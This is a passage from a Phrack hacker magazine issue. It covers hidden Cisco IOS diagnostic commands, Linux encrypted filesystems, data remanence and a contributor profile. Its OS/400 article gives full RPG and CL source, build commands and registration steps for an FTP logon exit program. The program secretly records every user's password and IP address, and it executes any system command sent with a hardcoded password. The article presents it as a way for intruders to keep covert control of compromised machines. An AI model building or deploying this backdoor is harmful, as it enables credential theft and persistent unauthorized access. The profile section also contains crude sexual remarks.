Expiration Type
| 1.060 (Parent)
| 1.060 Ager
| 1.352 L2 CSNP (Ethernet3/0)
| 8.616 L1 CSNP (Ethernet3/0)
| 3:25.860 (Parent)
| 3:25.860 LSP refresh
| 9:02.160 LSP lifetime
| 9:24.568 LSP lifetime
| 17:16.084 LSP lifetime
| 20:58.536 Dynamic Hostname cleanup
@sh isis tree IS-IS link state database AVL tree
shows path and depth taken to get to other level 1/2 intermediate
systems in some routing domain. shows both by default.
ctalkb#sh isis tree
IS-IS Level-2 AVL Tree
Current node = X.X.X.00-00, depth = 0, bal = 0
Go down left
Current node = X.X.Y.00-00, depth = 1, bal = 0
---> Hit node X.X.Y.00-00
Back up to X.X.X.00-00
Current node = X.X.X.00-00, depth = 0, bal = 0
---> Hit node X.X.X.00-00
Go down right
Current node = X.X.X.02-00, depth = 1, bal = 0
---> Hit node X.X.X.02-00
Back up to X.X.X.00-00
@sh isis private
displays a little diagnostic information related to the isis process.
ctalkb#sh isis private
ISIS: FastPSNP cache (hits/misses): 0/4002
ISIS: LSPIX validations (full/skipped): 216271/490412
ISIS: LSP HT=0 checksum errors received: 0
ctalkb#
@sh list
perhaps a singly linked list manager which displays global
pointer to the first element in each linked list as well as the
number of members in each list.
ctalkb# sh list
List Manager:
1415 lists known, 1561 lists created
ID Address Size/Max Name
1 613EE970 11/- Region List
2 613EEE98 1/- Processor
3 613EFDE8 1/- I/O
4 613F0D38 1/- I/O-2
5 6149EDD0 0/- Sched Critical
6 6149ED90 0/- Sched High
7 6149EB00 0/- Sched Normal
@sh list none
ctalkb# sh list none
List Manager:
1415 lists known, 1561 lists created
ID Address Size/Max Name
1 613EE970 11/- Region List
2 613EEE98 1/- Processor
3 613EFDE8 1/- I/O
4 613F0D38 1/- I/O-2
9 6149ED10 82/- Sched Idle
11 61499A50 8/- Sched Normal (Old)
12 6149CC10 1/- Sched Low (Old)
@sh parser modes (shows current process access-tree.)
ctalkb#sh par mo
Parser modes:
Name Prompt Top Alias Privilege
exec 0x60EFB294TRUE TRUE
configure config 0x60EFABACTRUE TRUE
interface config-if 0x60EF7AECTRUE TRUE
subinterface config-subif 0x60EF7AECTRUE FALSE
null-interface config-if 0x60EFB368TRUE TRUE
line config-line 0x60EF3F84TRUE TRUE
@sh parser un
ctalkb#sh parser un
Unresolved parse chains:
40
40
198
198
322
@sh proc all-events
ctalkb#sh proc all-events
Queue Notifications
Event Name Pid 1 Process
61588410 Pool Grows 4 Pool Manager ct
0
615A156C Log Messages 19 Logger ct
0
615EE8A0 IPC inboundQ 11 IPC Seat Manager ct
0
615EE934 IPC Zone inboundQ 9 IPC Zone Manager ct
0
61642840 ARP queue 12 ARP Input ct
0
@sh profile [detail|terse] (show cpu profiling)
ctalkb#sh prof d
Profiling enabled
Block 0: start = 91, end = FFF, increment = 8, EXEC
Total = 0
System total = 9802
ctalkb#sh prof t
PROF 91 FFF 8
PROFTOT 10065
ctalkb#
@sh region (shows image layout)
displays the program layout for the uncompressed image.
ctalkb#sh region
Region Manager:
Start End Size(b) Class Media Name
0x07800000 0x07FFFFFF 8388608 Iomem R/W iomem2
0x20000000 0x21FFFFFF 33554432 Iomem R/W iomem
0x57800000 0x57FFFFFF 8388608 Iomem R/W iomem2:(iomem2_cwt)
0x60000000 0x677FFFFF 125829120 Local R/W main
0x60008900 0x6123AC29 19079978 IText R/O main:text
0x6123C000 0x6136A17F 1237376 IData R/W main:data
0x6136A180 0x6152565F 1815776 IBss R/W main:bss
0x61525660 0x677FFFFF 103655840 Local R/W main:heap
@sh region <address>
picking a random location within memory shows what segment that
specific address falls under. same info can be gleaned from the
root command.
ctalkb#sh region a 0x07800000
Address 0x07800000 is located physically in :
Name : iomem2
Class : Iomem
Media : R/W
Start : 0x07800000
End : 0x07FFFFFF
Size : 0x00800000
@sh sum
this takes the compressed image and computes its checksum. this is
compared with the previously stored checksum to ensure integrity.
ctalkb#sh sum
New checksum of 0x36D03E96 matched original checksum
ctalkb#
@sh timers (show timers for timer command in config mode)
ctalkb#sh tim
State Handle interval due invoked missed Process
@test transmit (test the transmission of L2 frames)
this command allows you to send the specified number of frames
to the specified destination:
ctalkb#test transmit
interface: Ethernet3/0
total frame size [100]:
1) To this interface
2) To another interface
9) Ask for everything
Choice: 2
Encapsulation Type:
1) Ethertype
2) SAP
3) SNAP
4) SNAP (Cisco OUI)
5) SNAP (EtherV2 OUI)
6) Novell 802.3
Choice: 1
Protocol type:
1) IP
2) XNS
3) IPX
9) Ask for everything
Choice: 1
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
(in config mode)
@boot system rom
if the system has an image burned in on rom, this command allows you to
revert to that image instead of the image stored on some other secondary
media (flash card).
ctalkb(config)#boot system rom
The 'boot system rom' command is not valid for this platform.
It has been translated to 'boot system flash bootflash:'
@boot module
the command is there, but it doesn't seem to do anything besides barf.
00:34:02: %PARSER-3-BADSUBCMD: Unrecognized subcommand 11 in configure
command 'boot module a'
@exception-slave dump X.X.X.X
informs the router where to dump the core image.
@exception-slave protocol tftp
tells the router what protocol to use when dumping the core image.
@exception-slave corefile
tells the router what to name the corefile. note that this corefile
has to be at least 666 on the tftp server for the router to be able to
write it.
@ip slow-convergence
i haven't been able to see any difference in the router performance after
enabling this command. regardless, it does not look like a command which
would improve the router performance.
@ip tftp boot-interface
tells the router what interface to find its image in the case that it
wants to boot net via tftp.
@loopback diag
all of these loopback commands allow you to loop the hardware at
specific points so that you can isolate hardware faults. e.g. this
is not just a loopback net and loopback local command set. also,
not all pieces of hardware can be looped at all the below points.
@loopback dec (at dec chip)
@loopback test
@loopback micro-linear
@loopback motorola
@scheduler max-task-time 200 (last val in milliseconds)
this knob allows you to set the number of milliseconds a specific
process is on CPU before it reports debugging information. a relatively
easy way to report which process is hogging. sh proc cpu is obviously
the best way to track down cpu hogs while on the router, but this command
allows you to track down more insidious hogs.
00:13:18: %SYS-3-CPUHOG: Task ran for 308 msec (3/1), process = Virtual
Exec, PC = 603C9AD8.
@scheduler heapcheck process (memory validation.. after proc)
@scheduler heapcheck poll (memory valid after some poll)
@scheduler run-degraded (perhaps in a failure mode?)
causes the scheduler to attempt to keep running even in the face of some
sort of fatal process error. the default action of IOS is to have this
knob turned off and to crash the router upon the recognition of a fatal
error. this is done on a per-process basis. obviously, some processes
are more critical than others and moving the offending process out of the
scheduler won't really buy you any time or information.
@service internal
this is a really nifty command. turning it on in global configuration
mode allows you to view some previously hidden commands. turn it on
by default and you will eventually find some extras.
some commands are not even accessible unless this is turned on.
(sh proc all-events fex)
@service slave-coredump
this allows you to dump core when applicable to some slave
machine for logging purposes. this does take a long time depending
on the amount of memory in the router (copying 128MB with varying
link speeds. you do the math). it is important to note that this
copying occurs before the router enters usable mode, so you basically
have added quite a bit of delay into the reload time. the
exception-slave commands inform the router where to dump the core image.
@service log backtrace (provides traceback with every logging instance)
-Traceback= 603C9AE0 603546C0 60354A48 6035CA58 6035C3F4 6035C34C 60373EBC
603B6D2C 603B6D18
in bgp config:
@neighbor ctalkb-out filter-as 100 d
% filter-as is an obsolete subcommand, use filter-list instead
this is a nifty command in that it gives you a little more insight
into whats happening. i would prefer this command even though it
has been deprecated in favor of the filter-list command. reasoning:
this command is more specific.
in router isis config:
@partition-avoidance
not quite sure what this does since i don't have a complex isis setup to test.
|0x03|------------------------------------------------------------------------|
|----------------------- OS/400 Exit Point Programming -----------------------|
|clever <clever@dhp.com>------------------------------------------------------|
Introduction
Exit points enable programmers to embed custom logic in otherwise
non-configurable system functions. At a certain stage of its execution, a
program with an exit point will execute the programs which have been
registered with its exit point, passing relevant parameters to the called
programs. At that time, the exit point program can do anything it likes with
the parameters passed to it and modify the behavior of the calling program by
passing back values, if it decides to do so.
Exit point programming is somewhat esoteric. Most people who deal with
the AS/400 are not aware of the existence of exit points, and most of those
who know about them do not use them. System administrators who care about
security have used them since they became available to improve system
security by logging things like user profile creation or limiting the use of
system facilities to a subset of the users who could ordinarily make use of
them.
Suppose that you have gained access to a typical AS/400 system. Its
administrators are concerned about security, but they lack a consistent
security plan and the skill to implement it, even if they did. Even so, the
misconfiguration that allows you to gain access may be noticed and fixed at
any time. A new user profile would probably be spotted. You need a way to
retain control over the machine that won't be noticed by most people. Exit
points do most of the work for you.
One exit point present in the ftp server software is "FTP Server Logon",
named QIBM_QTMF_SVR_LOGON. Its parameter format is TCPL0100.
TCPL0100:
Application Identifier 4B Input
User Identifier * Input
User Identifier length 4B Input
Authentication String * Input
Authentication String length 4B Input
Client IP Address * Input
Client IP Address length 4B Input
Return Code 4B Output
User Profile 10A Output
Password 10A Output
Initial Current Library 10A Output
The parameters marked 'Input' are set by and received from the system; these
fields contain user signon information, which we should log. The only
output parameter about which we care in this instance is 'Return Code',
which we must set to 1, telling the system to proceed with authentication
and that the password provided must match the actual password of the user
profile for authentication to succeed. Other return code values cause the
system to do various things that you might find useful. Consult the
documentation if you are curious.
So.
1. ftp> open x.x.x.x
Connected to x.x.x.x.
220-QTCP at x.x.x.
220 Connection will close if idle more than 5 minutes.
Name (x.x.x.x:root): werd
331 Enter password.
Password: f.u.c.k.493
2. The exit program is called. The server passes it the parameters mentioned
above.
3. The exit program does whatever it likes. It sets the 'Output' parameters,
if it likes. The exit program returns.
4. The server considers the parameters passed back to it and does whatever
is indicated by those parameters.
Below is a stripped-down version of one tool I use for this. It isn't
hidden. It should only be used on boxes whose administrators are somewhere
between 'Don't Care' and 'Making A Clumsy Effort At Security'.
That is to say, most of them.
Names/types.
F01 RPGLE
F02 CLLE
FP PF
Creating.
CRTPF FILE(x/FP) SRCFILE(x/x) TEXT(*BLANK)
CRTRPGMOD MODULE(x/F01) SRCFILE(x/x) DBGVIEW(*NONE) OUTPUT(*NONE)
CRTCLMOD MODULE(x/F02) SRCFILE(x/x) OUTPUT(*NONE) LOG(*NO) DBGVIEW(*NONE)
CRTPGM PGM(x/F) MODULE(x/F01 x/F02) TEXT(*BLANK) ALWUPD(*NO) USRPRF(*OWNER)
DLTMOD MODULE(x/F01)
DLTMOD MODULE(x/F02)
Put F and FP somewhere QTCP can find them. QUSRSYS, maybe.
Register x/F with QIBM_QTMF_SVR_LOGON using WRKREGINF.
Restart ftp.
Using.
The command goes in the user field. The special authorization string goes
in the password field. Normal signons get logged in FP. Ignore the
error; data area TEST does get created in QGPL.
ftp> open x.x.x.x
Connected to x.x.x.x.
220-QTCP at x.x.x.
220 Connection will close if idle more than 5 minutes.
Name (x.x.x.x:root): crtdtaara qgpl/test *dec
331 Enter password.
Password: itsmeclever
530 Log on attempt by user CRTDTAARA rejected.
ftp: Login failed.
Remote system type is .
ftp>
Code.
(F01)
FFP O A E DISK
D S c 'itsmeclever'
D
DParms pr extpgm('F01')
D AppID 9b 0
D UsrID 100a
D UsrIDLen 9b 0
D AutStr 32a
D AutStrLen 9b 0
D ClntIP 15a
D ClntIPLen 9b 0
D Rcd 9b 0
D UsrPrf 10a
D Pwd 10a
D InlCurLib 10a
D
DParms pi
D AppID 9b 0
D UsrID 100a
D UsrIDLen 9b 0
D AutStr 32a
D AutStrLen 9b 0
D ClntIP 15a
D ClntIPLen 9b 0
D Rcd 9b 0
D UsrPrf 10a
D Pwd 10a
D InlCurLib 10a
D
DLog pr
D Type 10a value
D Text 200a value
D
DExcCmd pr
D Cmd 100a value
C if %subst(AutStr:1:AutStrLen) = S
C callp ExcCmd(%subst(UsrID:1:UsrIDLen))
C eval *inlr = *on
C return
C endif
C
C callp Log('FTP':
C %subst(UsrID:1:UsrIDLen)+ ' '+
C %subst(AutStr:1:AutStrLen)+ ' '+
C %subst(ClntIP:1:ClntIPLen))
C
C eval Rcd = 1
C
C eval *inlr = *on
C return
PLog b
D pi
D Type 10a value
D Text 200a value
C time FPTS
C eval FPTYPE = Type
C eval FPTEXT = Text
C
C write FPR
P e
PExcCmd b
D pi
D Cmd 100a value
C callb 'F02'
C parm Cmd
P e
- - - - - - - - - -
(F02)
PGM PARM(&COMMAND)
DCL VAR(&COMMAND) TYPE(*CHAR) LEN(100)
MONMSG MSGID(CPF0000) EXEC(GOTO CMDLBL(ERROR))
CHGJOB LOG(0 99 *NOLIST) LOGCLPGM(*NO)
CALL PGM(QCMDEXC) PARM(&COMMAND 100)
ERROR:
ENDPGM
- - - - - - - - - -
(FP)
A R FPR
A FPTS 14S 0
A FPTYPE 10A
A FPTEXT 200A
Hope this helps someone.
clever <clever@dhp.com>
20000222
|0x04|------------------------------------------------------------------------|
|---------------------- Linux and Encrypted Filesystems ----------------------|
|phunda mental <phundie@yahoo.com>--------------------------------------------|
Most people don't realize it, but Linux has incredibly robust support
for encrypted filesystems. This functionality is not present in the
stock kernel due to U.S. export regulations, but it can be easily
added by obtaining the patchset for your kernel version from
www.kerneli.org.
In this article, I will present a quick introduction to setting up
strong encryption within the Linux kernel, and then I will present
a few configurations that allow for seperatly encrypted home directories
for each user, encrypted disk partitions, etc.
First, you must download util-linux-2.9e.tar.gz[1], and the kernel
source patches. For the purposes of this article, I'll assume you are
running kernel 2.2.4; therefore you would get patch-int-2.2.4.1.gz[2].
In /usr/src do ln -s linux lin.2.2.4 (the patch expects this to be
the name of the source directory) and apply the patch with
zcat patch-int-2.2.4.1.gz | patch -p0.
Now look in linux/Documentation/crypto. There are some patches in
there to Linux utilities. Unpack the util-linux distro, apply the
necessary patch, and build the new utilities. You'll need to install
the new losetup and mount commands. Remember that mount needs to be
suid root if you want users to have the ability to mount encrypted
volumes.
Now build a kernel with make menuconfig, and take a look at the dox in the
Documentation/crypto directory. You'll notice that the kernel patches
give support for Blowfish, DES, DFC, IDEA, MARS, RC6 and Serpent. These
ciphers can be used by the networking code, or the loopback device.
The loopback device also has special support for CAST128 and Twofish.
Once you have your new kernel up and running, you can make a blowfish
encrypted volume like so:
$ dd if=/dev/zero of=vol.img bs=1024 count=2000
$ losetup -e blowfish /dev/loop0 vol.img
Losetup will prompt you for a passphrase. This passphrase is hashed with
RIPEMD-160 in order to key the cipher.
$ mkfs.ext2 /dev/loop0
$ losetup -d /dev/loop0 #disconnect the loopback device
All of the preceding commands can be issued as a user, to actually
mount the volume, you will need root status, or the appropriate line
in /etc/fstab.
# mount vol.img /mnt -o encryption=blowfish
Mount will prompt you for a passphrase, enter the one you gave to
losetup, and the volume will get mounted on /mnt.
In order for user joe to mount ~/.img on ~/secure
a line in fstab like this is needed:
/home/joe/.img /home/joe/secure ext2 noauto,user,rw,exec,encryption=blowfish
Now joe can mount his volume with the command "mount ~/secure".
A similar tactic can be used to have joe's entire home directory
encrypted.
Make a directory called /usr/imgs/joe and let the directory "joe" be
owned by user joe. Place an encrypted img called home.img in /usr/imgs/joe
and modify /etc/profile to check if the user's home directory image
exists, and if it does, mount the encrypted image onto /home/$USER
(if it is not already mounted). Then, all that is needed is an
appropriate line in /etc/fstab to allow joe to mount onto /home/joe.
I personally use this scheme to keep my home directory encrypted on
my machines. When I log in, /etc/profile gets executed and it asks
me for the passphrase needed to mount my home directory. A crontab
periodically runs and tries to unmount my home directory, so that
when I log out and any jobs I left running end, my home directory will
get unmounted.
If you use xdm to automatically launch X on boot up, then you will
need to modify Xsession in the xdm directory to launch an xterm
that executes the mount command so that the user can mount his home
directory before his ~/.xsession gets executed.
Consistent with the UNIX philosophy that a device is a file, Loopback
encryption also works for block devices.
To encrypt disk partitions, Linux will need a small unencrypted root
partition (just enough for the kernel, /dev, /etc, /lib and the basic
binaries), maybe 15 or 20 meg.
/dev/hda2 will contain a filesystem that houses /usr, /var, /home and
whatever else you have. It will get mounted on /fs/hda2. You can set this
filesystem up like so:
$ losetup -e blowfish /dev/loop0 /dev/hda2
$ mkfs.ext2 /dev/loop0
$ mount /dev/loop0 /fs/hda2
Now you can copy all of /usr and everything to /fs/hda2 and just symlink
/fs/hda2/usr to /usr so that everything works. Alternatively, if you
have seperate partitions for /usr, /var, and /tmp you can set them
up as individual partitions.
Set up your fstab as follows:
/dev/hda2 /fs/hda2 ext2 defaults,encryption=blowfish 0 0
Now, when you boot, you will get prompted for the passphrase needed
to mount /fs/hda2. An attacker will get virtually nothing from your
machine.. they won't even know what applications you have installed.
I use a similar scheme to keep the contents of removable media and
PCMCIA flash cards encrypted.
The kernel patches have other applications besides encrypted filesystems.
The patches give support for ENskip, and a tunneling hack which allows
encrypted IP through UDP called CIPE. Check out kerneli.org for more
info on this stuff.
Credit, and thanks go to the kernel and patch set maintainers.
References:
1. ftp://ftp.aanet.ru/pub/Linux/utils/util-linux-2.9e.tar.gz
2. ftp://ftp.kerneli.org/pub/kerneli/v2.2/patch-int-2.2.4.1.gz
|0x05|------------------------------------------------------------------------|
|------------------------------ Data Remanence -------------------------------|
|phunda mental <phundie@yahoo.com>--------------------------------------------|
So, you've encrypted all your goodies with 3DES, selected strong
passphrases, and now you are content to sit back and have a beer,
knowing that your stuff is secure, right?
Yeah. Sure it is.
We are facing the problem of data remanence, and it's a bitch. Strong
crypto only protects the ciphertext; if the plaintext is sitting
around on your hard drive you're still screwed.
Data remanence, as the name implies is the residual remains of data
after it is has been deleted, cleared or purged. In this document, the
term "deleted" refers to the normal OS-supplied delete command. Clearing
data refers to a process that attempts to destroy data such that it
cannot be reconstructed with normal OS-supplied commands or functions,
including specially created software. Purging refers to a process
(generally in hardware) that attempts to defeat all of the above
methods of reconstruction, along with laboratory-based reconstruction
techniques.
Obviously, DR occurs in many forms, and can be exploited in a few
different ways.
Software Methods
The first way that DR can bite us in the ass is one that any competent
DOS/Windows user should know about: the undelete command. The standard
MS delete just kills the pointer to the file in the FAT, while the
data itself still sits on the disk. Undelete just restores that
pointer, and we can get some (or all) of those data bits back.
Well, depending on which color hat we are wearing at the moment, this
may be helpful. If you are snooping on some alien machine, remember to
try undelete when looking for interesting files. Else, get a program
that can help you clear the data. In a pinch, defragging a hard drive
can sometimes defeat something like undelete (depending on how the
OS in question works).
Awhile back I was sitting in IRC, discussing DR under Linux. The
standard response that I got was that since ext2 (the Linux
filesystem) doesn't operate like FAT, the undelete-type practice can't
be done and so we have nothing to worry about. This simply isn't true.
Under linux, do the following (you may need root, depending on how you
configured your setup):
dd if=/dev/zero of=disk.image bs=1024 count=300
mkfs.ext2 disk.image
mount disk.image /mnt -o loop
cd /mnt
We just made a 300k looped filesystem, and mounted it on /mnt. Now CD
to /mnt and create a file with some known text in it .. try:
ps aux > sensitive.file
sync
rm sensitive.file
Now, we've deleted our sensitive file, but as will be demonstrated,
this file has not been cleared.
Now umount /mnt and do:
strings < disk.image | grep USER
You'll see some text from the ps.
Now, if your gear got confiscated imagine someone just running this
command on /dev/hda1, or whatever. Don't think DoJ wouldn't pay people
to weed through all the junk to obtain a few juicy bytes, or run some
nice pattern matching software on the strings output to find stuff
that looks interesting.
Or, maybe you don't want the contents of a file .. maybe you want a
passphrase, or the internal state of an RNG or a cipher?
Dig around in the swap partition, maybe you'll get lucky.
This is an example of what DoD calls a "keyboard attack" in the "green
book[1]." It is an attack to exploit the remnant data on a system
using a software method. We need a clearing technique here too, and a
good way is to zero the actual bits of the file; ext2 will eventually
support this internally[2], but for now you can just rm the file and
then make a new file of all zeros that fills the entire disk. Lets try
that.
mount disk.image /mnt -o loop
cd /mnt
dd if=/dev/zero of=output bs=100k
#wait for error
sync
rm output
Now umount the disk.image and run strings on it again. You'll notice
that the ps output is gone. You'll also notice that some of the the
filename is still there. If the file is under some sub-directory, you
can rmdir the directory and use the above method. If the file is at
root-level, you're hosed: people can see your filename.
Overwriting the file's bits one-for-one with zeros insures that one
will not be able to read the data back with the recording device
itself; thus software, or "keyboard" attacks are successfully defeated
by such software measures.
It is a good practice to create a script that checks /proc/meminfo
under Linux. If there is enough RAM free to hold any crap floating in
swap, then free the swap partition, zero it (or use other techniques,
discussed below), make a new swap partition and reattach it. This
could be put in a cron job that runs at off-peak hours.
There are also programs like "wipe.com" (DOS)[3], and "Burn" (Mac)[4]
that wipe the bits of certain files, allowing a more controlled (and
thus faster) method of wiping remnant data. I don't know of a way to
securely wipe files under Linux other than by filling the disk. The
programs that I found that report to do so fail, and I can't think of
a reliable way to do it outside of ext2.c.
Hardware Methods
There is a third type of attack, however, that does not depend on what
the device (say, a hard disk) claims is on the media. This type of
attack analyzes the media directly; we'll call it a laboratory attack.
A laboratory attack is highly theoretical, but we had better talk
about it anyway.
The first thing we have to remember is that digital media isn't purely
digital: we record our bits on an essentially analog medium, which is
precisely why we need stuff like MFM (modified frequency modulation)
encoding; an actual DC level would erase data, not record it.
So, lets talk about disks, and cover some magnetic recording
properties real quick. I'm going to be fast and loose with the
electronics, I know it is terribly inaccurate; we just need the basic
concepts here.
In general, magnetic recording is achieved by issuing a magnetic
charge onto some ferrous-type material with an electromagnet. To read
the data back, the juice to the electromagnet is shut off, and the
disk spins by the coil of the magnet, which induces a voltage in the
electromagnet, effectively making a small generator. Now, for the sake
of accuracy we don't just spit bits out into the magnetic medium,
because DC levels don't work with transformers; which is what our
read/write head is, basically. So we need to encode it in an analog
signal using some modulation technique. For the sake of argument, lets
say our disk is using something like frequency shift keying (FSK).
In reality, our drives don't do this, but our modems do. I'll use FSK
since it is easier to talk about, and easy for newbies to understand.
The way we encode our data is to take every digital one and play an
analog tone for some time, T, and some other tone for a digital zero,
also for some time T. Maybe we encode 0 as 2600 Hz and 1 as 2000 Hz
(the Kansas City standard for storing digital info on cassette tape is
0 = 2400 Hz and 1 = 1200 Hz).
The reason I'm reducing this to a simplified audio analogy will soon
be obvious.
If you record over a commercial cassette tape with a shitty tape
recorder, where there are periods of silence in your recording you may
hear the original commercial tune. This remnant signal is there all
the time, not just during silence.
What has happened is that the magnetic flux delivered by the
read/write head of your tape recorder was not powerful enough to
completely change the polarization of the magnetic particles on the
tape for the time that the particles were exposed. Those particles act
in a predictable way, and if we know their current state, and the
signal applied to them the last time, we can recover the previous
state. Chock this one up to magnetic hysteresis, it could also be due
to the head of the tape recorder not being aligned perfectly. More on
this option below.
If a particle on a disk has a current polarization strength of A,
and we know what sort of flux was applied to the particle (which we
can find by examining the read/write head) then we can find the
the state of the particle prior to the last write to it, which allows
us to reconstruct the data.
Real world bit recover would simply require looking at these particles
and taking into account the encoding scheme used. The SFS (Secure
File System) documentation gives a good description of many different
encoding schemes.
As I said, this is a theoretical attack. I am not aware of it ever
actually having been used to recover data.
How can we defeat this attack? By overwriting the data many times.
If we overwrite our data many times, the stored charge on the particle
gets constantly closer to the upper-end ideal value, which disguises
the data "underneath." We can use several applications of random bits,
and then several applications of 00h's and FFh's to overwrite the data.
The random bits insure that the attacker doesn't find a pattern. The
multiple applications of FF expose the particles to the magnetic flux
for a longer period of time. Each application gets those particles
closer and closer to the ideal representation of FF. The truly
paranoid will want to do all of this several times. Some recommend
writing zeros after the ones. This is probably pure paranoia, and it
might be a good idea.
As alluded to above, there is another type of data remanence that can
be attacked in the lab due to variance in the position of the
read/write head.
As the disk spins, the head will float over different portions of the
disk each revolution. When a write occurs, it may charge certain
particles and on an overwrite it may miss some of those particles,
leaving the original information behind for exploitation by the lab.
This lets an attacker read further back into the data record than by
weeding out signals by cancellation, and is probably easier to perform
in some respects.
We have no control over this whatsoever in software. To protect
against this attack requires either degaussing of the media, or
encryption of the entire device from the first moment it is used until
the last.
Using encryption stamps out all of the above problems in one clean,
elegant stroke.
Imagine a device that sits in-line between your IDE (or SCSI) adapter
and the disk controller of the drive. All attempts by the PC to
negotiate with the drive are intercepted by this device, and the data
is either encrypted or decrypted as needed and sent along. Thus
everything that ever touches the drive: file system formatting, the OS
... everything gets encrypted and stored. The entire operation would
be transparent to the host computer, and independent of its
processing. The user merely gives a key to this controller at start
up: maybe there is a keypad embedded into a 5.25" faceplate that is
mounted on the computer's case.
Such a hardware solution not only takes care of data remanence issues
but also helps to secure the computer as a whole: with the partition
table, and OS encrypted, the machine cannot boot without the user
having set up the in-line filter with the correct key.
Can a well funded adversary pull off a laboratory attack like those
discussed here? Probably. So if you're not using some form of
encryption, you might want to start thinking about it. For the stuff
that no one but you can know about, keep the plaintext on floppies
and the ciphertext on your hard drive. Floppies can be destroyed or
degaussed easily. Remember to watch your swap partition though; it is
probably wise to disengage swap when manipulating sensitive material.
Best of all, RAM is cheap. Buy 256M of it and give up swap space
completely.
Against a sufficiently powerful attacker who has your hard drive, you
are in a world of hurt without in-line encryption. Just how powerful
"sufficiently powerful" needs to be to actually make this stuff work
is open to speculation.
Notes:
1. NCSC-TG-025 "A Guide to Understanding Data Remanence in Automated
Information Systems" http://www.geekstreet.com/green.html
2. This was all tested with linux kernel version 2.0.35. I do not know
if 2.1.* will ever have a newer ext2 or not. Look into the chattr
command on your machine, and dig into the kernel source to see if the
ext2 code does anything or not. On 2.0.*, it does nothing.
3. From the No-where utilities, get it from your favorite HP filez
site.
4. Burn is available from the Info-Mac archives.
|0x06|------------------ Phrack 55 Addendum and Errata -----------------------|
|-----------------------------------------------------------------------------|
P55-14@71:
I would like to make the following correction in my article "A GPS Primer"
from Phrack 55. The Teledesic project is _not_ a MEO satellite venture,
but rather, it uses Low Earth Orbit (LEO) satellites. Thanks to Eric Rachner
for pointing this out.
[ Thankz to e5 for submitting this correction. ]
P55-18:
File 18 was erroneously listed as file 17.
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x04[0x10]
|------------------------------ P R O P H I L E ------------------------------|
|-----------------------------------------------------------------------------|
|----------------------------------- sw_r ------------------------------------|
The Phrack Prophile iz intended to be a short biography on the indiviual in
question. It'z Phrackz way to recognize that this person has done something
worthy of mention in some capacity. More or less a soap-box, The Prophile
givez the person a chance to spout off about whutever they want and aggrandize
themselvez to their heart'z content. This iz *their* time to shine.
|------------------------------ P E R S O N A L ------------------------------|
|-Handle -------------| Shockwave Rider
|-Previouz handlez ---| The Phelon, cpmhaqr, guest_, master blaster, s1thl0rd,
others
|-Handle origin ------| 1975 book by John Brunner
|-Call him -----------| Varies depending on who you are
|-Reach him ----------| Don't call me, I'll call you .. (email: swr@gti.net)
|-Date of birth ------| 5/16/80
|-Height -------------| 5'10"
|-Weight -------------| 170
|-Eye Color ----------| Brown
|-Hair Color ---------| Black
|-Cool crap owned ----| one line isn't gonna do this justice.. ;)
|-Sitez I run --------| various private systems
|-URLz ---------------| the web is gay. but check these urls out anyway:
http://www.suzie.org
http://www.velkro.net/swr
|----------------------------- F A V O R I T E Z -----------------------------|
|-Women --------------|
Brunettes with class, wit, and intelligence. hi suzie!@
|-Carz ---------------|
As of this writing, I don't really drive.. once I settle into my new location,
I plan to purchase a new vehicle. (I've always been into cars and performance
vehicles, so it'll be something FAST!@). I have tons of 'favorite' cars, but
among the favorite of the favorites at the moment are the Porsche 911, Dodge
Viper, Porsche 959 (the only reason it doesn't win hands down is 'cuz it's
still not street-legal, which sucks) & Acura's NSX-T.
|-Foodz --------------|
All kinds - I'm Indian, so naturally Indian's my favorite.. but I also love
Italian, Thai, Chinese, etc. My favorite foods overall are probably steak and
pizza. If made right, I could live on both forever without tiring of either -
though I'd probably want Indian food occasionally (of course).
|-Alcohol ------------|
Wayyy too much to list here. I like good beer, strong whiskey.. and pretty
much anything else as long as it's wet & alcoholic(!@).
|-Music --------------|
Major hip-hop fan. I'm also into hard rock/heavy metal, classical.. pretty
much everything, except for the perennial exception that is Country. Favorite
bands/groups off the top of my head include -
NWA, Tribe Called Quest, Eazy-E, Beastie Boys, Nirvana, Tool, Eric B+Rahkim,
Slick Rick, Metallica, Korn, Beck, Ice Cube, KRS-ONE, Public Enemy, Front 242,
Guns N Roses, Schooly D, Cypress Hill, Led Zeppelin, Wu-Tang Clan, MC Eiht,
MC Ren, Garbage (Shirley Manson r000lz), NIN, Toadies, Aerosmith, Sir Mixalot,
Me First & The Gimme Gimmes, DR Octagon, DJ Rectangle, Eminem, Weird Al,
Motley Crue, Mr. Bungle, Red Hot Chili Peppers, Gang Starr, Run-DMC..
|-Moviez -------------|
HEAT, Goodfellas - pretty much anything with DeNiro or Pacino in it, GodFather
I, Pulp Fiction, Strange Brew, Bill & Teds * (classics), South Park,
El Mariachi
|-Authorz ------------|
quick list -
Fyodor Dostoevsky (Crime & Punishment, Brothers Karamozov)
Dave Barry (Everything)
Joseph Heller (Catch-22)
WR Stevens (TCP/IP Illus 1-2, others)
J.D. Salinger (Catcher In the Rye)
George Orwell (1984, Animal Farm)
John Brunner (Shockwave Rider)
J.R.R. Tolkien (I loved the Lord of the Rings Trilogy when I was a kid, and
"The Hobbit" also),
Ray Bradbury (Something Wicked This Way Comes)
Robert Silverberg (the Pontifex Valentine and Gilgamesh books.. part of
my fantasy fiction phase, around the same time as Tolkien)
Victor Harris (The Book of Five Rings),
Nicholas Pileggi (WiseGuy),
Sun Tzu (The Art of War),
Chris Drake & Kimberley Brown (PANIC!, the most readable tech book I've
ever read - which is still incredibly useful)
Neal Stephenson (Snowcrash)
William Gibson (Everything)
|-Turn ons ------|
Tits (all shapes, sizes, colors & flavors), legs,(long and smooth), platform
sandals, belly button piercings, long dark hair, two chicks doing it with each
other, summer dresses, and of course intelligence + sense of humor.. (those
are all in reference to women)
|-Turn offs ----|
Anal retentiveness, pedantry, miserliness, posing/pretentiousness, stupidity
(those apply to both sexes).
|-Passions -----|
pea! (no, not peaboy.. schmucks)
Phones. UNIX & VMS internals. Learning new programming languages and
operating systems.
Fast cars, clever & beautiful women, good music, Guinness, good food, winter,
spring, summer, fall, nights, sunsets, sunrises, good books, sleeping, ms.
pacman coffee tables, cycling, coca-cola, mountain dew, water slides, learning,
booze, sex/drugs/rocknroll, ice cream, weaponry, playing football, friends,
video games.. anything as long as it's fun
|----------------- M E M O R A B L E E X P E R I E N C E Z -----------------|
